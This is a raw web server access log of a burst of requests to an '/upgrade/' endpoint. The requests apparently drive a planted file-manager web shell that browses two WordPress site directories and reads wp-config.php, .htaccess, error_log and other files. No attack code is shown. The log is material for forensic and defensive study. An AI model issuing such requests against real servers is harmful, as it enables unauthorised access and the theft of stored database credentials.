45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F&option=file HTTP/1.1" 200 8250 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 52554 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 11362 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:18 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fcgi-bin HTTP/1.1" 200 5790 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:18 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fwp-content HTTP/1.1" 200 6600 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:18 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fwp-includes HTTP/1.1" 200 25684 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:18 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 9373 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:18 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 9786 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:18 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 11838 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:18 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 16072 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:18 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8932 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:18 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fwp-admin HTTP/1.1" 200 13186 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:18 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 8527 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:18 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 10206 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:18 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 10625 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:18 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7958 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 8254 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fupgrade HTTP/1.1" 200 6740 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 9125 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 16488 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 9575 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 9842 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fsegment-sample HTTP/1.1" 200 6477 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 8525 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 10111 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 25607 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 8239 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 8216 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 11224 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:19 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 11757 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 9350 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 10554 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw&location=%2F HTTP/1.1" 200 7858 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fwrapper-global HTTP/1.1" 200 6388 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7962 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 8366 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 6388 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 11856 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 9877 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 10294 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 9690 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw&location=%2F HTTP/1.1" 200 7860 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 9005 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 5791 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade HTTP/1.1" 200 6711 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:20 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 13083 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 10750 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 11984 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
